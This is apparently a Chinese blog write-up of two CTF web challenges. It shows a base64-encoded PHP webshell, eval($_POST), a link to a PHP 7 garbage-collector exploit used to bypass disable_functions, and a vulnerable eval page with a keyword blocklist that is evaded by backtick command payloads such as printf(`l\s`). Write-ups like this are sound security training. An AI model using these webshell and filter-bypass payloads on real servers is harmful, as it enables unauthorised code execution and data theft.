NSSCTF[GKCTF 2020]CheckIN+[UUCTF 2022 新生賽]ez_rce
https://www.ctfer.vip/problem/1301
困,書買好了,等著去圖書館找個(gè)位置一坐了。

[GKCTF 2020]CheckIN
hint:WEB? disable_function
評分:4?
四星一般不是學(xué)新知識就是難度高,已經(jīng)準(zhǔn)備好學(xué)習(xí)別人wp了。

乍一看很簡單,一個(gè)base編碼后傳入命令執(zhí)行語句就行了,但是根據(jù)hint的disable_function來看沒那么簡單,于是直接phpinfo看看禁用了什么:
?Ginkgo=cGhwaW5mbygpOw== 這里get傳參post傳參一樣的。

亞雷嗎,我們以前遇到過一個(gè)比較嚴(yán)重的disable_function,根據(jù)當(dāng)時(shí)經(jīng)驗(yàn)首先想到傳入一句話木馬,然后在蟻劍上利用蟻劍插件:
傳入?Ginkgo=ZXZhbCgkX1BPU1RbJzEnXSk7 即eval($_POST['1']);
在根目錄看到flag文件,然后看到readflag文件,執(zhí)行,果然不行。


失敗,看來是有其他漏洞或者exp了。
于是查看wp,發(fā)現(xiàn)readflag的權(quán)限不夠,得上傳exp到tmp(tmp的權(quán)限是777)其他目錄文件權(quán)限不知道,不過好像都權(quán)限不夠
PHP版本7.3.18漏洞:
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出觸發(fā)進(jìn)而執(zhí)行命令,影響范圍為linux,php7.0-7.3
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
修改命令,上傳tmp,然后訪問文件。

include('/tmp/p.php'); 名字隨便取啦,蟻劍里也可以改的


[UUCTF 2022 新生賽]ez_rce
hint:WEB? 無參數(shù)RCE
<?php
##?放棄把,小伙子,你真的不會(huì)RCE,何必在此糾結(jié)呢????????????
if(isset($_GET['code'])){
????$code=$_GET['code'];
????if?(!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
????????echo?'看看你輸入的參數(shù)?。?!不叫樣子!!';echo?'<br>';
????????eval($code);
????}
????else{
????????die("你想干什么?????????");
????}
}
else{
????echo?"居然都不輸入?yún)?shù),可惡!!!!!!!!!";
????show_source(__FILE__);
}
很經(jīng)典的rce題目,過濾了很多函數(shù)和命令,這個(gè)時(shí)候如果你經(jīng)驗(yàn)老道就看的出來某些函數(shù)符號還能用,比如反引號``,比如printf,current的替代函數(shù)pos,scandir這些當(dāng)然這里過濾了local等函數(shù)我們還是用熟悉的printf吧,當(dāng)然如果補(bǔ)是很熟,這個(gè)你也能自己試著搜一下rce加上無參數(shù),當(dāng)然我們之前遇到過無參數(shù)rce,并且簡單總結(jié)過幾次,這里還是放上別人專門寫的總結(jié):
https://blog.csdn.net/m0_62422842/article/details/124669856
https://www.cnblogs.com/pursue-security/p/15406272.html#_label1_4
當(dāng)然這里printf作為輸出,反引號作為執(zhí)行,我們只需要關(guān)系里面的命令執(zhí)行語句了,ls,cat都被禁用了沒關(guān)系,\沒被禁用,不知道你們還能想起來l\s來規(guī)避禁用的操作嗎,這里就回顧一下這個(gè)知識點(diǎn)吧:
?code=printf(`l\s`);

然后直接讀flag:printf(`nl /fffffffffflagafag`);當(dāng)然如果這里printf都禁了用print_r也行,當(dāng)然一般都直接禁print的= =

當(dāng)然還遇到了很多以前寫過wp的題,這里因?yàn)槲蚁肫饋硪郧皩戇^就不專門寫出來水文字了,
那么期待我們下一題再見!